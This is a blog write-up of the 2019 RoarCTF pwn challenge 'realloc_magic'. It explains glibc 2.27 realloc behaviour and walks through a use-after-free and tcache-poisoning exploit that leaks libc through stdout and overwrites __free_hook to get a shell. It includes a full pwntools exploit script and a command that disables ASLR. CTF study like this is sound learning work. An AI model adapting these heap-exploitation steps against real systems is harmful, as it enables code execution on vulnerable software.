2019-ROAR-CTF-realloc_magic

  1. 分析
  2. 思路
  3. exp
  4. 参考

分析

环境是2.27,看名字就和realloc有关系,符号没被strip,有PIE。

比较极限,只给了一个指针,三个功能函数:

  • fr():释放指针,有明显的UAF,double free就可以测出2.27环境。
  • ba():指针置0
  • re():用realloc分配,size无限制

realloc的各种操作并不是很熟悉,所以其实是复现了一下别人的exp。

sakura师傅的博客里有对realloc机制很详细的介绍:

  • 当realloc(ptr,size)的size不等于ptr的size时
    • 如果申请size>原来size
      • 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
      • 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
    • 如果申请size<原来size
      • 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
      • 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
  • 当realloc(ptr,size)的size等于0时,相当于free(ptr),还会把指针置空。
  • 当realloc(ptr,size)的size等于ptr的size,不进行任何操作

思路

关闭aslr方便调试,神秘代码:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

因为是2.27,存在弱智版的tcache,所以利用会简单一点,这里我根据参考的exp梳理一下思路:

  1. 首先在tcache上构造出三条tcache_entry链,add(0x0, "")其实就是free并将指针置0。
add(0x70,'a')
add(0x0,'')

add(0x100,'a')
add(0x0,'')

add(0xe0,'a')
add(0x0,'')

0xe0的作用是防止合并,这样0x100的堆块才会顺利进入unsortedbin而不是被合并成topchunk

  1. 接下来再把中间的tcache_entry填满,用free()因为存在UAF,所以不会清0:
add(0x100,'a')
for i in range(7):
    free()

此时的堆:

1581050047741

  1. 接下来继续free即可进入unsoredtbin,然后把0x70取出来,再申请0x180:
add(0, "")
add(0x70,'a')
add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x07\xdd')

这里的作用是利用了realloc的机制,把unsortedbin带了出来,又因为unsoretdbin里因为指向链表头所以包含着libc的指针,所以同时通过局部写改写掉tcache_entry[15]fd部分,使其指向stdoutIO结构体,正常都是覆盖低12bits,也就是写两字节的方式,不过因为我是在本机调试,在关闭了aslr的情况下,stdout正好跟unsortedbin的指针在不同的页上,所以我写了三个字节。

这里还伪造了一个0x41的堆头,这是为了把当前tcache_entry[15]的头部堆块提取出来再放到别的tcache_entry里面,很巧妙。

此时的堆:

1581050600971

  1. 把头部移除,然后获取到stdout部分进行改写,改写的payload都是固定的。
add(0x100,'a')
add(0x0,'')
add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") 

leak = u64(ru("\x7f")[-6:].ljust(8, "\x00"))
success(hex(leak))
libc.address = leak - 0x3ed8b0
success(hex(libc.address))

backdoor()

这样就可以成功获得泄露的libc地址。但是此时的指针已经是0x7ff...这种了,对于realloc来说是非法的了,所以用程序中带的backdoor函数来将其清空,没错,这就是它唯一的使命。

  1. 重新选三条tcache_entry的链,再做一次double free,就是对上述步骤的微调然后重复,不过这次不用局部写,直接改成free_hook,然后写one_gadget就可以getshell了。

这里只能是改写free_hookone_gadget,首先malloc_hook你调用不到,其次free_hook没办法改成system来进行调用,因为就像上面泄露时改stdout是一样的,此时的指针已经非法了,并且backdoor()函数只给我们用一次,已经没办法再清空了,所以只能写成one_gadget来梭哈。

呃,看到有个师傅的做法,只要把指针指向free_hook-8,然后写入/bin/sh\x00system,这样就可以了。

  1. 不过可以不这么麻烦,虽然直接double free我们并做不到,不过从泄露后的堆结构可以观察到:

1581052165007

所以更简单的做法是,通过0x190的堆块覆盖0x40的堆块的sizefd,相当于把构造的过程省略了,覆盖后的堆布局如下:

1581052339278

接下来返还0x190堆块,然后申请0x40堆块,释放0x40堆块的时候会因为伪造的size而放到其他的tcache_entry

add(0x180, "\x00"*0x78+p64(0x21)+p64(libc.sym['__free_hook']))
add(0, "")
add(0x30, "a")
add(0, "")

然后就可以去申请free_hook了:

1581052599232

exp

from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

p = process("./pwn")
proc_base = p.libs()[p.cwd + p.argv[0].strip('.')]

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd=""):
    gdb.attach(p, cmd)

def choose(idx):
    sla(">> ", str(idx))

def add(size, ctx):
    choose(1)
    sla("Size?\n", str(size))
    sa("?\n", ctx)

def free():
    choose(2)

def backdoor():
    choose(666)

cmd = "set $a=%d\n"%(proc_base+0x202058)
#debug(cmd)

add(0x70,'a')
add(0x0,'')

add(0x100,'a')
add(0x0,'')

add(0xe0,'a')
add(0x0,'')

# fill in the tcache
add(0x100,'a')
for i in range(7):
    free() 

# free into the unsortedbin
add(0, "")

#make libc addr into tcache[13]
add(0x70,'a')

# Make the chunk get the unsortedbin because of continuous address.
# and fake the tcache[15] size and parital overwrite fd ptr
# in local machine, close the aslr and need to overwrite the lowest 3bytes
# because the stdout ptr exist in another page
# but in realworld, just need to overwrite 2bytes just for the lowest 12bits 
add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x07\xdd')    

# clear the ptr
add(0x0,'')

# fake size 
add(0x100,'a')

# free into tcache[2]
add(0x0,'')

# overwrite the stdout struct to leak
add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") 

# get the libc base address
leak = u64(ru("\x7f")[-6:].ljust(8, "\x00"))
success(hex(leak))
libc.address = leak - 0x3ed8b0
success(hex(libc.address))

# clear the invalid ptr like 0x7ff...
backdoor()

# the first method
# the same way to hijack free_hook
add(0x70,'a')
add(0x0,'')
add(0x110,'a')
add(0x0,'')
add(0xf0,'a')
add(0x0,'')

add(0x110,'a')
for i in range(7):
    free()

add(0x0,'')
add(0x70,'a')

add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc.sym['__free_hook'])) 
add(0x0,'')

add(0x110,'a')
add(0x0,'')

one = [0x4f2c5, 0x4f322, 0x10a38c]
add(0x110, p64(libc.address+one[1]))
free()

# the second method
# add(0x180, "\x00"*0x78+p64(0x21)+p64(libc.sym['__free_hook']-8))
# add(0, "")
# add(0x30, "a")
# add(0, "")
# add(0x30, "/bin/sh\x00"+p64(libc.sym['system']))
# free()

p.interactive()

参考

https://bbs.pediy.com/thread-255095.htm

https://hitworld.github.io/posts/e020a382/


connect 1037178204@qq.com

文章标题:2019-ROAR-CTF-realloc_magic

本文作者:t1an5t

发布时间:2020-02-07, 11:02:00

最后更新:2020-03-02, 12:23:46

原始链接:http://yoursite.com/2019-ROAR-CTF-realloc_magic/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录